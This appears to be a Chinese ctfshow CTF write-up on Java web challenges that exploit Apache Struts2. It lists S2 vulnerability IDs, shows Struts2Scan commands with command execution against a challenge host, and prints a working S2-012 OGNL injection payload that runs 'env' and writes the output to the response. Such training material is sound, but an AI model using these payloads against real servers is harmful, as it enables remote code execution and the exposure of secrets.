ctfshow web入门(java)

Struts 2

Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品，是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心，采用拦截器的机制来处理用户的请求，这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开，所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化，但是相对于WebWork，Struts 2的变化很小。

---

s2-001
s2-007
s2-008
s2-009
s2-012
s2-013
s2-015
s2-016
s2-019
s2-029
s2-032
s2-045
s2-046
s2-048
s2-052

---

---

通杀脚本工具

网上的 poc都有，工具用起来很方便

struts2:

struts2-scan

py Struts2Scan.py -u http://6e12ef79-3cca-48ec-b6d2-ee430f9c5901.challenge.ctf.show:8080/S2-005/example/HelloWorld.action

py Struts2Scan.py -u http://6e12ef79-3cca-48ec-b6d2-ee430f9c5901.challenge.ctf.show:8080/S2-005/example/HelloWorld.action -n s2-005 --exec

执行env

env命令用于显示系统中已存在的环境变量，以及在定义的环境中执行指令。该命令只使用"-“作为参数选项时，隐藏了选项”-i"的功能。若没有设置任何选项和参数时，则直接显示当前的环境变量。 如果使用env命令在新环境中执行指令时，会因为没有定义环境变量"PATH"而提示错误信息"such file or directory"。此时，用户可以重新定义一个新的"PATH"或者使用绝对路径。

283

Struts2 showcase远程代码执行漏洞:混个脸熟

---

284

s2-012

poc:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

295

s2-048

---

298

java decompiler反编译class文件

跟进：

访问：

/ctfshow/login?username=admin&password=ctfshow